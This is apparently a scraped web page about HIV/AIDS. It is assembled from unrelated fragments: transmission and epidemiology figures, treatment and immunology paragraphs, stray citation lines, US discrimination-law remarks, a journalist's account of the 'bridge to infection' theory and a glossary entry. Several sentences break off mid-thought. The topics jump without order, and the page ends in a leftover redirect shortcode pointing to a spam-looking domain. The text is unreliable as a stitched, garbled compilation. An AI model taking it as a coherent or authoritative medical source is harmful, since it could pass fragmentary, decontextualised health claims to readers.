In areas where heterosexual transmission is dominant, HIV infection follows routes of trade, transportation, and economic migration to cities and spreads secondarily to rural areas. In Africa, particularly southern Africa, the HIV epidemic has killed tens of millions of young adults, creating millions of orphans. Factors that perpetuate spread include
Antiretroviral treatment substantially reduces the risk that HIV will progress to AIDS. In developed countries, use of ART has turned HIV into a chronic disease that may never progress to AIDS. Conversely, if infected people are not able to take their medications or have a virus that has developed resistance to several medications, they are at increased risk for progression to AIDS. If AIDS is not treated, 50% of people will die within nine months of the diagnosis.
Isolates of HIV-1 and HIV-2 with resistance to antiretroviral drugs arise through natural selection and genetic mutations, which have been tracked and analyzed. The Stanford HIV Drug Resistance Database and the International AIDS Society publish lists of the most important of these; first year listing 80 common mutations, and the latest year 93 common mutations, and made available through the Stanford HIV RT and Protease Sequence Database.
There is a specific decline in the CD4+ helper T cells, resulting in inversion of the normal CD4/CD8 T-cell ratio and dysregulation of B-cell antibody production. [26, 27] Immune responses to certain antigens begin to decline, and the host fails to adequately respond to opportunistic infections and normally harmless commensal organisms. Because the defect preferentially affects cellular immunity, the infections tend to be nonbacterial (fungal, viral).
In most states, it is perfectly legal to discriminate against someone on the basis of their sexual orientation or their gender identity in one or more aspects of their life, including employment, housing, and public accommodations. Explicit non-discrimination protections based on sexual orientation or gender identity do not exist at the federal level either.
Jump up ^ U.S. Army Office of the Surgeon General (June 2, 2010). “Follow up of Thai Adult Volunteers With Breakthrough HIV Infection After Participation in a Preventive HIV Vaccine Trial”. ClinicalTrials.gov. Archived from the original on June 9, 2012.
Sexual contact with an infected person, when the mucous membrane lining the mouth, vagina, penis, or rectum is exposed to body fluids such as semen or vaginal fluids that contain HIV, as occurs during unprotected sexual intercourse
Most (95%) new infections occur in the developing world. Almost 70% of new HIV infections occur in sub-Saharan Africa, with more than half occurring in women and 1 in 10 occurring in children under 15 years old. However, in many sub-Saharan African countries, the number of new HIV infections decreased by 41% between 2000 and 2014., because of international efforts to provide treatment and strategies for prevention.
Because many HIV-positive pregnant women are treated or take prophylactic drugs, the incidence of AIDS in children is decreasing in many countries (see Human Immunodeficiency Virus (HIV) Infection in Infants and Children).
Jump up ^ Nachega, JB; Marconi, VC; van Zyl, GU; Gardner, EM; Preiser, W; Hong, SY; Mills, EJ; Gross, R (April 2011). “HIV treatment adherence, drug resistance, virologic failure: evolving concepts”. Infectious disorders drug targets. 11 (2): 167–74. doi:10.2174/187152611795589663. PMID 21406048.
The term viral tropism refers to the cell types a virus infects. HIV can infect a variety of immune cells such as CD4+ T cells, macrophages, and microglial cells. HIV-1 entry to macrophages and CD4+ T cells is mediated through interaction of the virion envelope glycoproteins (gp120) with the CD4 molecule on the target cells’ membrane and also with chemokine co-receptors.
You can help prolong your life by taking good care of yourself and developing a good relationship with an experienced doctor specializing in HIV and AIDS. Also, be consistent about taking your HIV medications as prescribed and getting regular lab work to catch any problems early.
^ Jump up to: a b Boily MC, Baggaley RF, Wang L, Masse B, White RG, Hayes RJ, Alary M (February 2009). “Heterosexual risk of HIV-1 infection per sexual act: systematic review and meta-analysis of observational studies”. The Lancet Infectious Diseases. 9 (2): 118–29. doi:10.1016/S1473-3099(09)70021-0. PMID 19179227.
Epidemics have no single answer beyond a cure. Since no cure for AIDS existed as of the early 2000s, the law continued to grapple with a vast number of problems. The federal government has addressed AIDS in two broad ways: by spending money on research and treatment of the disease and by prohibiting unfairness to people with HIV or AIDS. It has funded medical treatment, research, and public education, and it has passed laws prohibiting discrimination against people who are HIV-positive or who have developed AIDS. States and local municipalities have joined in these efforts, sometimes with federal help. In addition, states have criminalized the act of knowingly transmitting the virus through sexual behavior or blood donation. The courts, of course, are the decision makers in AIDS law. They have heard a number of cases in areas that range from employment to education and from crimes to torts. Although a body of case law has developed, it remains relatively new with respect to most issues and controversial in all.
Human immunodeficiency virus, or HIV, is the virus that causes AIDS. HIV/AIDS weakens a person’s ability to fight infections. It is contracted through unprotected sex or needle sharing. An HIV test confirms diagnosis. Medications may suppress the virus and delay the onset of AIDS.
“Despite multiple risk factors for HIV acquisition perception of risk was low in over 50% of adolescents and young women from Malawi at highest risk, documenting a major gap requiring mechanistic study.”–Dr. William Blattner, JAIDS Co-Editor-in-Chief
Jump up ^ de Taeye, Steven W.; Ozorowski, Gabriel; Torrents de la Peña, Alba; Guttman, Miklos; Julien, Jean-Philippe; van den Kerkhof, Tom L. G. M.; Burger, Judith A.; Pritchard, Laura K.; Pugach, Pavel (2015-12-17). “Immunogenicity of Stabilized HIV-1 Envelope Trimers with Reduced Exposure of Non-neutralizing Epitopes”. Cell. 163 (7): 1702–1715. doi:10.1016/j.cell.2015.11.056. ISSN 1097-4172. PMC 4732737 . PMID 26687358.
Several classes of antiretroviral drugs are used together to treat HIV infection. These drugs block HIV from entering human cells or block the activity of one of the enzymes HIV needs to replicate inside human cells and/or integrate its genetic material into human DNA.
Given the confusion, it was simplest to latch onto the most provocative idea: that black gay men, who we knew were also contracting H.I.V. in high numbers, provided a “bridge to infection” to black heterosexual women, a phrase I first heard from researchers at a medical conference. As the theory went, closeted black gay men were using women as unsuspecting “cover girls” to hide their sexuality and then infecting them with H.I.V. In my reporting for both The Times and Essence, I found no shortage of anecdotal accounts of H.I.V.-positive women who were infected by male partners who had been having sex with other men in secret. As a black lesbian myself, I understood the stigma, shame and fear that could drive black gay men to create seemingly straight lives while sleeping with men — and end up unwittingly infecting their female partners with H.I.V. This idea made a certain amount of sense in the frustrating absence of scientific data.
Jump up ^ Faria NR, Rambaut A, Suchard MA, Baele G, Bedford T, Ward MJ, Tatem AJ, Sousa JD, Arinaminpathy N, Pépin J, Posada D, Peeters M, Pybus OG, Lemey P (2014). “The early spread and epidemic ignition of HIV-1 in human populations”. Science. 346 (6205): 56–61. doi:10.1126/science.1256739. PMC 4254776 . PMID 25278604.
But even Sturdevant knows he can’t save everyone. A shadow passes over his face and his voice grows low when he talks about the one young man he couldn’t save. He remains haunted by him. A few years ago, a co-worker, Dot, suggested Sturdevant talk to a quiet fair-skinned man who was struggling with his H.I.V. diagnosis. “I told him my story and let him know, ‘You can do this, too,’ ” Sturdevant recalled. “He was in denial and very secretive, but still, he got into treatment and was doing good.”
A large white blood cell, found primarily in the bloodstream and connective tissue, that helps the body fight off infections by ingesting the disease-causing organism. HIV can infect and kill macrophages. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]